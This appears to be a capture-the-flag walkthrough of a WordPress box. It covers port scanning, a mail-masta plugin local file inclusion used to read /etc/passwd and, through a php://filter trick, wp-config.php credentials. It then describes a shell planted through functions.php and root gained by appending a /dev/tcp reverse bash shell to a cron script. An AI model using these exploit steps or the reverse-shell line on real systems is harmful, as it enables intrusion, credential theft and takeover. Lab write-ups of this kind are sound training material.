Enumeration
Nmap
We’ll start of with running our nmap scan:
nmap -sC -sV -T4 -p- --max-rate 10000 $IP -oN full

We have a few ports open:
| PORT | SERVICE | STATE | 
|---|---|---|
| 21 | vsftpd 3.0.3 | open | 
| 22 | OpenSSH 7.6p1 | open | 
| 80 | Apache httpd 2.4.29 | open | 
FTP
We tried connecting to FTP with anonymous login, there wasn’t anything there and we couldn’t put anything there. So we moved on to the website.

Website
Port 80 showed a default Apache page:

Let’s go with gobuster to see what directories we can work with.

We found a /wordpress directory, so let’s go visit it.
Wordpress

We should run another gobuster against this to see what else we can work with, running gobuster against the wordpress directory:

Since we are working with wordpress we can enumerate using wpscan:

We have a few plugins that this utilizes. mail-masta 1.0 and reflex-gallery 3.1.7
Finding exploits for mail-masta:
This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.
We can try navigating using the PoC that was provided in the exploit-db page using
wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

So we know we have a local file inclusion vulnerability,
php filter
We can use a technique descibed in SANS
With the magic of the base64-encode PHP filter, though, the PHP interpreter will not interpret the resource as code. This allows us to see the original server-side PHP code content!
Let’s use this to grab with wp-config.php as this was one of the files we saw from fuzzing the wordpress directory.
php://filter/convert.base64-encode/resource=../../../../../wp-config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo "PD9waHANCi8qKg0KICogVGhlIGJhc2UgY29uZmlndXJhdGlvbiBmb3IgV29yZFByZXNzDQogKg0KICogVGhlIHdwLWNvbmZpZy5waHAgY3JlYXRpb24gc2NyaXB0IHVzZXMgdGhpcyBmaWxlIGR1cmluZyB0aGUNCiAqIGluc3RhbGxhdGlvb
i4gWW91IGRvbid0IGhhdmUgdG8gdXNlIHRoZSB3ZWIgc2l0ZSwgeW91IGNhbg0KICogY29weSB0aGlzIGZpbGUgdG8gIndwLWNvbmZpZy5waHAiIGFuZCBmaWxsIGluIHRoZSB2Y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10N
300MlVwa1tyNz9zJyApOw0KZGVmaW5lKCAnTk9OQ0VfS0VZJywgICAgICAgICdAaTtUKHt4Vi9mdkUhcyteZGU3ZTRMWDN9TlRAIGo7YjRbejNfZkZKYmJXKG5vIDNPN0ZAc3gwIW95KE9gaCNNJyApOw0KZGVmaW5lKCAnQVVUSF9TQUxUJywgICAgICAgI
CdCIEFUQGk" | base64 -d
wp-config.php
Once decoded, we were able to see the contents of wp-config.php, this contained a few credentials we can try to either use with SSH or to login through wp-admin.
1
2
3
4
5
/** MySQL database username */
define( 'DB_USER', 'elyana' );
/** MySQL database password */
define( 'DB_PASSWORD', '**********' );
SSH didn’t work, so let’s move onto wp-admin


Getting a shell
We can edit the functions.php to get our shell, that way all we have to do is hit the upload button and we get our shell immediately.


We can navigate to /dev/shm or anyother world writable directory to upload linpeas.
Running linpeas we see we have a cronjob runnning something called script.sh that’s in /var/backups

Looking at what sort of permissions script.sh has, we can see it is world read/write/executable, it also gets ran as root.

So let’s append our reverse bash shell to it.
echo 'bash -i >& /dev/tcp/$LHOST/$PORT 0>&1' >> script.sh

All we have to do is set up another netcat listener and wait little for the cronjob to execute.

Note: flags are base64 encoded
